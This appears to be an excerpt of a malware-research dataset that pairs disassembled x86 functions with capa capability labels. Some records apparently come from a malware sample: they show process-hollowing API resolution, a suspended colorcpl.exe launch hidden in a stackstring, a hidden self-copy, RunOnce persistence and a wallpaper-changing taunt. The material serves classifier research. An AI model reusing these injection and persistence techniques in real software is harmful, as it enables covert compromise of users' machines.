joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401670
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x194
mov eax, 0x202
mov word [ebp - 4], ax
lea ecx, [ebp - 0x194]
push ecx
movzx edx, word [ebp - 4]
push edx
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x40169c
xor al, al
jmp 0x4016d4
movzx eax, word [ebp - 0x194]
and eax, 0xff
movzx ecx, al
cmp ecx, 2
jne 0x4016c8
movzx edx, word [ebp - 0x194]
shr edx, 8
and edx, 0xff
movzx eax, dl
cmp eax, 2
je 0x4016d2
call dword [sym.imp.WS2_32.dll_WSACleanup]
xor al, al
jmp 0x4016d4
mov al, 1
mov esp, ebp
pop ebp
ret

Function at 0x401990
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x110
lea eax, [ebp - 0x110]
push eax
push 0
push 0
push 0x27
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
push str.c11cl000.mp3
lea ecx, [ebp - 0x110]
push ecx
call sub.api_ms_win_crt_string_l1_1_0.dll_strcat
add esp, 8
push 0x403328
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov dword [0x4260e4], eax
push str.GetFileAttributesA
mov edx, dword [0x4260e4]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0xc], eax
push 0x403358
mov eax, dword [0x4260e4]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x4260d8], eax
push 0x403368
mov ecx, dword [0x4260e4]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x4260dc], eax
push 0x403378
mov edx, dword [0x4260e4]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x4260e0], eax
lea eax, [ebp - 0x110]
push eax
call dword [ebp - 0xc]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
and ecx, 0x20
je 0x401a51
mov edx, dword [ebp - 4]
and edx, 0x10
jne 0x401a51
mov dword [ebp - 8], 0
jmp 0x401a58
mov dword [ebp - 8], 1
mov eax, dword [ebp - 8]
mov dword [0x426100], eax
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x401a70
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x250
push 0x104
lea eax, [ebp - 0x110]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push 0x403384
lea ecx, [ebp - 0x110]
push ecx
call sub.api_ms_win_crt_string_l1_1_0.dll_strcat
add esp, 8
lea edx, [ebp - 0x250]
push edx
lea eax, [ebp - 0x110]
push eax
call dword [0x4260d8]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xffffffff
jne 0x401ac7
xor ecx, ecx
jne 0x401abc
mov eax, 1
jmp 0x401b44
push 0x403388
push 0x403394
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0xc], eax
mov edx, 0xa
imul eax, edx, 0
add eax, 0x422008
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
movzx edx, byte [ecx]
test edx, edx
je 0x401b23
mov eax, dword [ebp - 4]
push eax
lea ecx, [ebp - 0x224]
push ecx
call dword [ebp - 0xc]
test eax, eax
je 0x401b18
xor edx, edx
jne 0x401b0d
mov eax, 1
jmp 0x401b44
mov eax, dword [ebp - 4]
add eax, 0xa
mov dword [ebp - 4], eax
jmp 0x401af1
lea ecx, [ebp - 0x250]
push ecx
mov edx, dword [ebp - 8]
push edx
call dword [0x4260dc]
test eax, eax
jne 0x401ae1
mov eax, dword [ebp - 8]
push eax
call dword [0x4260e0]
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x401c20
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
push str.CreateRemoteThread
push 0x420db4
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x4260e8], eax
push str.NtUnmapViewOfSection
push str.ntdll.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x4260ec], eax
push str.SetThreadContext
push 0x420dfc
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x4260f0], eax
push str.ResumeThread
push 0x420e1c
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x4260f4], eax
push str.VirtualAllocEx
push 0x420e3c
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x4260fc], eax
push str.WriteProcessMemory
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x4260f8], eax
pop ebp
ret

Function at 0x401d50
Capabilities:
Change the wallpaper
Get common file path
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
lea eax, [ebp - 0x10c]
push eax
push 0
push 0
push 0x27
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
push str.frieza
lea ecx, [ebp - 0x10c]
push ecx
push str._s_s.jpg
push 0x104
lea edx, [ebp - 0x10c]
push edx
call fcn.00401ef0
add esp, 0x14
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
lea eax, [ebp - 0x10c]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 4], eax
push 0
lea ecx, [ebp - 8]
push ecx
push 0x1d876
push 0x403528
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 3
lea ecx, [ebp - 0x10c]
push ecx
push 0
push 0x14
call dword [sym.imp.USER32.dll_SystemParametersInfoA]
push 0
push str.Pathetic_struggle...
push str.I_Should_Warn_You._Your_Chance_Of_Winning_Is_Nonexistent.
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
mov esp, ebp
pop ebp
ret
Function at 0x401e40
Capabilities:
Contain obfuscated stackstrings
Create process on windows
Create process suspended

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x6c
mov byte [ebp - 0x18], 0x63
mov byte [ebp - 0x17], 0x6f
mov byte [ebp - 0x16], 0x6c
mov byte [ebp - 0x15], 0x6f
mov byte [ebp - 0x14], 0x72
mov byte [ebp - 0x13], 0x63
mov byte [ebp - 0x12], 0x70
mov byte [ebp - 0x11], 0x6c
mov byte [ebp - 0x10], 0x2e
mov byte [ebp - 0xf], 0x65
mov byte [ebp - 0xe], 0x78
mov byte [ebp - 0xd], 0x65
mov byte [ebp - 0xc], 0
mov dword [ebp - 4], 4
push 0x44
push 0
lea eax, [ebp - 0x6c]
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
xor ecx, ecx
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x1c], ecx
lea edx, [ebp - 0x28]
push edx
lea eax, [ebp - 0x6c]
push eax
push 0
push 0
mov ecx, dword [ebp - 4]
push ecx
push 0
push 0
push 0
lea edx, [ebp - 0x18]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov eax, dword [ebp - 0x28]
mov dword [ebp - 8], eax
push 0x14a
push 0x4033d8
mov ecx, dword [ebp - 8]
push ecx
call fcn.00401cd0
add esp, 0xc
push eax
call fcn.00401e10
add esp, 4
mov esp, ebp
pop ebp
ret

Function at 0x401f80
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
call fcn.00401990
call fcn.00401a70
test eax, eax
je 0x401f99
push 1
call dword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.00401fd0
call fcn.00401b50
test eax, eax
je 0x401faf
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.004020d0
call fcn.00401e40
call fcn.004016e0
xor eax, eax
pop ebp
ret

Function at 0x401fd0
Capabilities:
Copy file
Get common file path
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
call fcn.00402150
movzx eax, al
test eax, eax
je 0x402007
mov ecx, dword [0x420f94]
mov dword [ebp - 0x1c], ecx
mov edx, dword [0x420f98]
mov dword [ebp - 0x18], edx
mov eax, dword [0x420f9c]
mov dword [ebp - 0x14], eax
mov ecx, dword [0x420fa0]
mov dword [ebp - 0x10], ecx
jmp 0x40205a
call fcn.00402130
movzx edx, al
test edx, edx
je 0x402037
mov eax, dword [0x420f84]
mov dword [ebp - 0x1c], eax
mov ecx, dword [0x420f88]
mov dword [ebp - 0x18], ecx
mov edx, dword [0x420f8c]
mov dword [ebp - 0x14], edx
mov eax, dword [0x420f90]
mov dword [ebp - 0x10], eax
jmp 0x40205a
mov ecx, dword [0x420fa4]
mov dword [ebp - 0x1c], ecx
mov edx, dword [0x420fa8]
mov dword [ebp - 0x18], edx
mov eax, dword [0x420fac]
mov dword [ebp - 0x14], eax
mov ecx, dword [0x420fb0]
mov dword [ebp - 0x10], ecx
lea edx, [ebp - 8]
push edx
push 0
push 0
lea eax, [ebp - 0x1c]
push eax
call sub.SHELL32.dll_SHGetKnownFolderPath
mov dword [ebp - 0xc], eax
push 0x208
push 0x426108
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov dword [ebp - 4], str.sorbet.exe
mov ecx, dword [ebp - 4]
push ecx
mov edx, dword [ebp - 8]
push edx
push str._s_s
push 0x208
push 0x426310
call fcn.00402250
add esp, 0x14
push 0
push 0x426310
push 0x426108
call dword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x4020c9
push 7
push 0x426310
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov esp, ebp
pop ebp
ret
Function at 0x4020d0
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push 0
lea eax, [ebp - 4]
push eax
push 0
push 0xf003f
push 0
push 0
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionRunOnce
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
push 0x426310
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcslen]
add esp, 4
lea ecx, [eax + eax + 2]
push ecx
push 0x426310
push 1
push 0
push str.KopperDroid
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esp, ebp
pop ebp
ret
Function at 0x3489a0cf
Capabilities:
Encode data using xor

Disassembly:
mov edx, dword [esp + 8]
xor eax, eax
test edx, edx
jbe 0x3489a116
push esi
mov esi, dword [esp + 8]
push edi
movzx edi, byte [esi]
mov ecx, eax
shr ecx, 8
movzx ecx, byte [ecx + 0x348914f8]
shl eax, 8
add eax, edi
mov edi, ecx
shl edi, 0xd
xor edi, ecx
add edi, edi
xor eax, ecx
add edi, edi
xor edi, eax
sub edx, 1
and edi, 0xffff
add esi, 1
test edx, edx
mov eax, edi
ja 0x3489a0df
pop edi
pop esi
ret 8
Function at 0x348a2ea6
Capabilities:
Check for time delay via gettickcount

Disassembly:
sub esp, 0x64
mov eax, dword [0x34896968]
xor eax, esp
mov dword [esp + 0x60], eax
mov eax, dword [esp + 0x6c]
push ebx
push ebp
push esi
mov esi, ecx
mov ecx, dword [esp + 0x7c]
push edi
mov edi, dword [esp + 0x78]
mov dword [esp + 0x18], eax
mov dword [esp + 0x14], ecx
call dword [sym.imp.kernel32.dll_GetTickCount]
mov dword [esp + 0x10], eax
mov ebx, 1
mov ebp, 0x100
lea esp, [esp]
mov dword [esi + 0x6c], ebx
mov edx, dword [esi + 0x6c]
push edx
mov ecx, edi
mov dword [esp + 0x20], ebx
call fcn.348a791d
cmp eax, ebp
jb 0x348a2f6c
mov ecx, dword [esi + 0x6c]
lea eax, [esp + 0x1c]
push eax
add ecx, 0x10000000
push ebx
push ecx
mov ecx, dword [esi + 0x40]
call fcn.348ad543
mov eax, dword [esp + 0x1c]
test bl, al
jne 0x348a2f25
cmp dword [esp + 0x20], 0xfffffbff
je 0x348a2f70
test eax, 0xfffffffe
je 0x348a2f35
lea ecx, [esp + 0x1c]
call fcn.348a7dd0
cmp dword [esi + 0x6c], ebp
jb 0x348a2f8e
call dword [sym.imp.kernel32.dll_GetTickCount]
mov edx, dword [esp + 0x10]
sub edx, eax
add edx, 0x1388
cmp edx, 0x80000000
jb 0x348a2ee5
cmp dword [esi + 0x6c], ebp
jb 0x348a2f8e
mov edi, dword [esp + 0x14]
push ebx
push 0xfffffbdd
mov ecx, edi
call fcn.348a7e01
jmp 0x348a2f92
mov eax, dword [esp + 0x1c]
test eax, 0xfffffffe
je 0x348a2f80
lea ecx, [esp + 0x1c]
call fcn.348a7dd0
add dword [esi + 0x6c], ebx
cmp dword [esi + 0x6c], ebp
jb 0x348a2ee8
jmp 0x348a2f35
mov edi, dword [esp + 0x14]
test byte [edi], 8
jne 0x348a301e
push 0x40
lea eax, [esp + 0x34]
push 0x20
push eax
call sub.msvcr80.dll_memset
add esp, 0xc
push edi
push 0x20
lea ecx, [esp + 0x38]
push ecx
mov ecx, 0x348d1b70
call fcn.348c45b7
test byte [edi], 8
jne 0x348a301e
mov ecx, dword [esp + 0x18]
lea edx, [esp + 0x10]
push edx
lea eax, [esp + 0x54]
push eax
push ecx
mov dword [esp + 0x1c], 0x20
call fcn.348ce618
test eax, eax
jl 0x348a3011
mov eax, dword [esi + 0x6c]
mov ecx, dword [esi + 0x40]
push edi
push 0x40
lea edx, [esp + 0x38]
sub eax, ebx
push edx
shl eax, 6
push eax
call fcn.348ad92a
pop edi
pop esi
pop ebp
pop ebx
mov ecx, dword [esp + 0x60]
xor ecx, esp
call fcn.348cf620
add esp, 0x64
ret 0xc
push ebx
push 0xfffffc15
mov ecx, edi
call fcn.348a7e01
mov ecx, dword [esp + 0x70]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.348cf620
add esp, 0x64
ret 0xc
Function at 0x348a4285
Capabilities:
Check for time delay via gettickcount

Disassembly:
sub esp, 0x1c
push edi
mov edi, ecx
cmp dword [edi + 0x40], 0
je 0x348a43b8
mov eax, dword [edi + 0x3c]
push ebx
mov ebx, dword [sym.imp.kernel32.dll_GetTickCount]
mov dword [esp + 0x10], 1
mov ecx, dword [eax + 0x38]
mov edx, dword [eax + 0x5c]
push ebp
push esi
mov dword [esp + 0x10], ecx
mov dword [esp + 0x14], edx
call ebx
mov ebp, dword [esp + 0x34]
mov ecx, dword [esp + 0x30]
mov esi, eax
lea eax, [esp + 0x18]
push eax
push ebp
push ecx
mov ecx, edi
call fcn.348a3033
mov al, byte [esp + 0x18]
test al, 8
je 0x348a432a
mov ecx, dword [esp + 0x10]
mov edx, ecx
sub ecx, 1
test edx, edx
mov dword [esp + 0x10], ecx
jbe 0x348a432a
lea ecx, [esp + 0x18]
call fcn.348a7eb1
call ebx
sub esi, eax
mov eax, dword [esp + 0x14]
add esi, eax
cmp esi, 0x80000000
jae 0x348a430c
push esi
call dword [sym.imp.kernel32.dll_Sleep]
call ebx
mov edx, dword [esp + 0x30]
lea ecx, [esp + 0x18]
push ecx
push ebp
push edx
mov ecx, edi
mov esi, eax
call fcn.348a3033
mov al, byte [esp + 0x18]
test al, 8
jne 0x348a42d9
test al, 1
jne 0x348a4394
mov eax, dword [esp + 0x1c]
cmp eax, 0xfffffbae
jl 0x348a4394
cmp eax, 0xfffffbaf
jle 0x348a4347
cmp eax, 0xfffffbb2
jne 0x348a4394
mov eax, dword [esp + 0x30]
push ebp
push eax
mov ecx, edi
call fcn.348a368b
mov ecx, dword [esp + 0x38]
test ecx, ecx
jne 0x348a436d
mov cl, byte [esp + 0x18]
and cl, 1
neg cl
sbb ecx, ecx
not ecx
and ecx, dword [esp + 0x1c]
test eax, eax
je 0x348a4386
cmp eax, dword [edi + 0x6c]
je 0x348a4386
mov edx, dword [esp + 0x3c]
push edx
push eax
push ecx
mov ecx, edi
call fcn.348a387b
jmp 0x348a43a2
push 1
push ecx
mov ecx, dword [esp + 0x44]
call fcn.348a7e01
jmp 0x348a43a2
mov ecx, dword [esp + 0x3c]
lea eax, [esp + 0x18]
push eax
call fcn.348a80dd
test dword [esp + 0x18], 0xfffffffe
pop esi
pop ebp
pop ebx
je 0x348a43b8
lea ecx, [esp + 0xc]
call fcn.348a7dd0
pop edi
add esp, 0x1c
ret 0x10
Function at 0x348a6917
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, dword [ecx + 4]
movzx eax, word [esi + 8]
cmp ax, 0xff
ja 0x348a69ee
movzx eax, ax
push ebx
movzx ebx, word [esi + eax*2 + 8]
push edi
mov edi, dword [esp + 0x10]
and ebx, 0x3fff
cmp edi, eax
jae 0x348a69ec
cmp dword [esp + 0x14], 0
push ebp
mov ebp, dword [esp + 0x1c]
jne 0x348a695d
movzx eax, word [esi + edi*2 + 0xa]
and eax, 0x3fff
jmp 0x348a696b
push edi
mov ecx, esi
call fcn.348a6708
test ebp, ebp
jg 0x348a696f
add eax, ebp
test ebp, ebp
jl 0x348a6973
cmp ebx, ebp
jb 0x348a69eb
cmp eax, ebx
jb 0x348a69eb
test ebp, ebp
jl 0x348a698a
movzx ecx, word [esi + edi*2 + 0xa]
and ecx, 0x3fff
cmp ecx, ebp
jl 0x348a69eb
sub eax, ebx
lea edx, [ebx + esi]
push eax
sub ebx, ebp
push edx
add ebx, esi
push ebx
call dword [sym.imp.msvcr80.dll_memmove]
movzx eax, word [esi + 8]
add esp, 0xc
cmp edi, eax
jae 0x348a69cd
lea ecx, [esi + edi*2 + 0xa]
movzx eax, word [ecx]
mov edx, eax
sub edx, ebp
xor edx, eax
and edx, 0x3fff
xor edx, eax
mov word [ecx], dx
movzx eax, word [esi + 8]
add edi, 1
add ecx, 2
cmp edi, eax
jb 0x348a69ab
movzx eax, word [esi + 8]
movzx ecx, ax
mov dx, word [esi + ecx*2 + 8]
and dx, 0x3fff
add eax, eax
sub dx, ax
sub dx, 0xa
mov word [esi + 2], dx
pop ebp
pop edi
pop ebx
pop esi
ret 0xc
Function at 0x348ad7e4
Capabilities:
Read file on windows

Disassembly:
sub esp, 0x28
push ebx
push ebp
mov ebp, dword [esp + 0x40]
push esi
mov esi, ecx
mov bl, 0x80
test byte [esi + 0x10], bl
push edi
mov edi, dword [esp + 0x44]
jne 0x348ad8a0
mov eax, dword [esp + 0x3c]
lea ecx, [esp + 0x24]
push ecx
mov ecx, dword [esi]
mov dword [esp + 0x30], eax
xor eax, eax
lea edx, [esp + 0x4c]
push edx
mov dword [esp + 0x38], eax
mov dword [esp + 0x3c], eax
mov eax, dword [esp + 0x48]
push edi
push eax
push ecx
call dword [sym.imp.kernel32.dll_ReadFile]
test eax, eax
jne 0x348ad887
lea edx, [esp + 0x10]
push edx
mov ecx, 0x348d1b70
mov dword [esp + 0x14], 1
call fcn.348c3cde
mov eax, dword [esp + 0x10]
test al, 1
jne 0x348ad861
cmp dword [esp + 0x14], 0xfffffc15
jne 0x348ad861
or dword [esi + 0x10], 0x80
jmp 0x348ad875
test al, 8
je 0x348ad875
lea eax, [esp + 0x10]
push eax
mov ecx, ebp
call fcn.348a80dd
mov eax, dword [esp + 0x10]
test eax, 0xfffffffe
je 0x348ad89b
lea ecx, [esp + 0x10]
call fcn.348a7dd0
jmp 0x348ad89b
cmp dword [esp + 0x48], edi
je 0x348ad89b
push 1
push 0xfffffc06
mov ecx, ebp
call fcn.348a7e01
test byte [esi + 0x10], bl
je 0x348ad910
lea ebx, [esi + 0x14]
push ebx
call dword [sym.imp.kernel32.dll_EnterCriticalSection]
mov ecx, dword [esp + 0x3c]
mov edx, dword [esi]
push 0
push 0
push ecx
push edx
call dword [sym.imp.kernel32.dll_SetFilePointer]
cmp eax, 0xffffffff
jne 0x348ad8ce
push ebp
mov ecx, 0x348d1b70
call fcn.348c3cde
jmp 0x348ad909
mov ecx, dword [esp + 0x40]
mov edx, dword [esi]
push 0
lea eax, [esp + 0x4c]
push eax
push edi
push ecx
push edx
call dword [sym.imp.kernel32.dll_ReadFile]
test eax, eax
jne 0x348ad8f5
push ebp
mov ecx, 0x348d1b70
call fcn.348c3cde
jmp 0x348ad909
cmp dword [esp + 0x48], edi
je 0x348ad909
push 1
push 0xfffffc06
mov ecx, ebp
call fcn.348a7e01
push ebx
call dword [sym.imp.kernel32.dll_LeaveCriticalSection]
test byte [ebp], 8
je 0x348ad920
push 0
push ebp
mov ecx, esi
call fcn.348ad707
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x28
ret 0x10
Function at 0x348ad92a
Capabilities:
Write file on windows

Disassembly:
sub esp, 0x28
push ebx
push ebp
mov ebp, dword [esp + 0x40]
push esi
mov esi, ecx
mov bl, 0x80
test byte [esi + 0x10], bl
push edi
mov edi, dword [esp + 0x44]
jne 0x348ad9e6
mov eax, dword [esp + 0x3c]
lea ecx, [esp + 0x24]
push ecx
mov ecx, dword [esi]
mov dword [esp + 0x30], eax
xor eax, eax
lea edx, [esp + 0x4c]
push edx
mov dword [esp + 0x38], eax
mov dword [esp + 0x3c], eax
mov eax, dword [esp + 0x48]
push edi
push eax
push ecx
call dword [sym.imp.kernel32.dll_WriteFile]
test eax, eax
jne 0x348ad9cd
lea edx, [esp + 0x10]
push edx
mov ecx, 0x348d1b70
mov dword [esp + 0x14], 1
call fcn.348c3cde
mov eax, dword [esp + 0x10]
test al, 1
jne 0x348ad9a7
cmp dword [esp + 0x14], 0xfffffc15
jne 0x348ad9a7
or dword [esi + 0x10], 0x80
jmp 0x348ad9bb
test al, 8
je 0x348ad9bb
lea eax, [esp + 0x10]
push eax
mov ecx, ebp
call fcn.348a80dd
mov eax, dword [esp + 0x10]
test eax, 0xfffffffe
je 0x348ad9e1
lea ecx, [esp + 0x10]
call fcn.348a7dd0
jmp 0x348ad9e1
cmp dword [esp + 0x48], edi
je 0x348ad9e1
push 1
push 0xfffff8f0
mov ecx, ebp
call fcn.348a7e01
test byte [esi + 0x10], bl
je 0x348ada56
lea ebx, [esi + 0x14]
push ebx
call dword [sym.imp.kernel32.dll_EnterCriticalSection]
mov ecx, dword [esp + 0x3c]
mov edx, dword [esi]
push 0
push 0
push ecx
push edx
call dword [sym.imp.kernel32.dll_SetFilePointer]
cmp eax, 0xffffffff
jne 0x348ada14
push ebp
mov ecx, 0x348d1b70
call fcn.348c3cde
jmp 0x348ada4f
mov ecx, dword [esp + 0x40]
mov edx, dword [esi]
push 0
lea eax, [esp + 0x4c]
push eax
push edi
push ecx
push edx
call dword [sym.imp.kernel32.dll_WriteFile]
test eax, eax
jne 0x348ada3b
push ebp
mov ecx, 0x348d1b70
call fcn.348c3cde
jmp 0x348ada4f
cmp dword [esp + 0x48], edi
je 0x348ada4f
push 1
push 0xfffff8f0
mov ecx, ebp
call fcn.348a7e01
push ebx
call dword [sym.imp.kernel32.dll_LeaveCriticalSection]
test byte [ebp], 8
je 0x348ada66
push 0
push ebp
mov ecx, esi
call fcn.348ad707
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x28
ret 0x10
Function at 0x348b51bd
Capabilities:
Encode data using xor

Disassembly:
sub esp, 8
mov eax, dword [esp + 0x14]
push ebx
mov ebx, dword [esp + 0x1c]
add eax, 7
push esi
shr eax, 3
push edi
mov edi, ecx
lea ecx, [eax + eax*8 + 1]
mov eax, dword [edi]
lea edx, [eax + ecx]
cmp edx, dword [edi + 0xc]
mov dword [esp + 0xc], edi
mov dword [esp + 0x10], ecx
ja 0x348b51f0
mov esi, dword [edi + 4]
add esi, eax
jmp 0x348b51fb
push ebx
push ecx
mov ecx, edi
call fcn.348b465d
mov esi, eax
test byte [ebx], 8
jne 0x348b52db
cmp dword [esp + 0x18], 0
jne 0x348b5215
mov byte [esi], 0x7f
add esi, 1
xor bl, bl
jmp 0x348b521e
mov byte [esi], 0x80
add esi, 1
or bl, 0xff
mov eax, dword [esp + 0x1c]
push ebp
mov ebp, dword [esp + 0x24]
cmp ebp, 8
jbe 0x348b5297
lea edi, [ebp - 9]
shr edi, 3
add edi, 1
movzx ecx, byte [eax]
xor cl, bl
mov byte [esi], cl
movzx edx, byte [eax + 1]
xor dl, bl
mov byte [esi + 1], dl
movzx ecx, byte [eax + 2]
xor cl, bl
mov byte [esi + 2], cl
movzx edx, byte [eax + 3]
xor dl, bl
mov byte [esi + 3], dl
movzx ecx, byte [eax + 4]
xor cl, bl
mov byte [esi + 4], cl
movzx edx, byte [eax + 5]
xor dl, bl
mov byte [esi + 5], dl
movzx ecx, byte [eax + 6]
xor cl, bl
mov byte [esi + 6], cl
movzx edx, byte [eax + 7]
xor dl, bl
mov byte [esi + 7], dl
add esi, 8
mov byte [esi], 9
add eax, 8
sub ebp, 8
add esi, 1
sub edi, 1
jne 0x348b5235
mov edi, dword [esp + 0x10]
mov dword [esp + 0x24], ebp
test ebp, ebp
jbe 0x348b52d4
mov edi, ebp
mov cl, byte [eax]
xor cl, bl
mov byte [esi], cl
add esi, 1
add eax, 1
sub edi, 1
jne 0x348b529d
mov edi, dword [esp + 0x10]
mov edx, 8
sub edx, ebp
movzx eax, bl
push edx
push eax
push esi
call sub.msvcr80.dll_memset
mov eax, dword [esp + 0x30]
mov cl, al
xor cl, bl
add esp, 0xc
sub esi, eax
mov byte [esi + 8], cl
mov edx, dword [esp + 0x14]
add dword [edi], edx
pop ebp
pop edi
pop esi
pop ebx
add esp, 8
ret 0x10

Function at 0x348b52e4
Capabilities:
Encode data using xor

Disassembly:
push ebx
mov ebx, dword [esp + 0x14]
push ebp
mov ebp, dword [esp + 0xc]
push esi
push edi
push ebx
push 8
push ebp
mov edi, ecx
xor esi, esi
call fcn.348b4752
test byte [ebx], 4
jne 0x348b5370
mov ecx, dword [edi + 4]
mov edi, dword [esp + 0x18]
neg eax
sbb al, al
lea ecx, [ecx + ebp + 1]
and eax, 0xff
movzx ebx, al
movzx edx, byte [ecx + 8]
xor edx, ebx
cmp edx, 8
jbe 0x348b5329
mov edx, 8
lea ebp, [edx + esi]
cmp ebp, dword [esp + 0x1c]
ja 0x348b5360
test edx, edx
jbe 0x348b5349
mov esi, edx
mov dl, byte [ecx]
xor dl, al
mov byte [edi], dl
add edi, 1
add ecx, 1
sub esi, 1
jne 0x348b5338
mov dl, byte [ecx]
xor dl, al
add ecx, 1
cmp dl, 8
mov esi, ebp
ja 0x348b5319
pop edi
mov eax, esi
pop esi
pop ebp
pop ebx
ret 0x10
mov ecx, dword [esp + 0x20]
push 1
push 0xfffffbf2
call fcn.348a7e01
pop edi
mov eax, esi
pop esi
pop ebp
pop ebx
ret 0x10
Function at 0x348b5379
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
push ebx
mov ebx, dword [esp + 0x14]
push ebp
mov ebp, dword [esp + 0xc]
push esi
push edi
push ebx
push 9
push ebp
mov esi, ecx
mov edi, 1
call fcn.348b4752
test byte [ebx], 4
jne 0x348b53bd
mov ecx, dword [esi + 4]
neg eax
sbb al, al
lea ecx, [ecx + ebp + 1]
and eax, 0xff
mov dl, byte [ecx + 8]
add ecx, 8
xor dl, al
add edi, 9
add ecx, 1
cmp dl, 8
ja 0x348b53aa
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
ret 0x10
Function at 0x348bd0e8
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebx
push esi
mov esi, ecx
cmp dword [esi + 0x24], 0
mov ebx, 1
push edi
mov dword [esi + 0x20], ebx
jne 0x348bd1c3
cmp dword [esi + 0xc], 0
mov edi, dword [esp + 0x10]
jle 0x348bd10f
push edi
call fcn.348bc8ca
push ebp
lea ecx, [esi + 4]
call fcn.348bd757
mov eax, dword [esi + 0x38]
or ebp, 0xffffffff
mov word [eax + 4], bp
mov ecx, dword [esi + 0x3c]
mov word [ecx + 4], bp
mov edx, dword [esi + 0x40]
mov word [edx + 4], bp
mov eax, dword [esi + 0x44]
mov word [eax + 4], bp
mov ecx, dword [esi + 0x48]
mov word [ecx + 4], bp
mov edx, dword [esi + 0x4c]
mov word [edx + 4], bp
cmp dword [esi + 0x34], ebx
jbe 0x348bd1b9
mov eax, dword [esi + 0x4c]
cmp dword [eax + 0x78], 0
jne 0x348bd172
xor ecx, ecx
cmp dword [esi + 0x34], ebx
push edi
sete cl
push ecx
mov ecx, esi
call fcn.348bd017
test byte [edi], 8
jne 0x348bd1b9
mov edx, dword [esi + 0x4c]
cmp dword [edx + 0x78], 0
je 0x348bd153
mov eax, dword [esi + 0x50]
add dword [esi + 0x34], ebp
mov word [eax + 4], bp
mov ecx, dword [esi + 0x4c]
push edi
call fcn.348bdcd2
test byte [edi], 8
jne 0x348bd1b9
mov eax, dword [esi + 0x50]
mov ecx, dword [esi + 0x4c]
mov edx, dword [esi + 0x48]
mov dword [esi + 0x50], ecx
mov ecx, dword [esi + 0x44]
mov dword [esi + 0x4c], edx
mov edx, dword [esi + 0x40]
mov dword [esi + 0x48], ecx
mov ecx, dword [esi + 0x3c]
mov dword [esi + 0x44], edx
mov edx, dword [esi + 0x38]
mov dword [esi + 0x40], ecx
mov dword [esi + 0x3c], edx
mov dword [esi + 0x38], eax
cmp dword [esi + 0x34], ebx
ja 0x348bd14a
pop ebp
mov eax, dword [esi + 0x24]
pop edi
pop esi
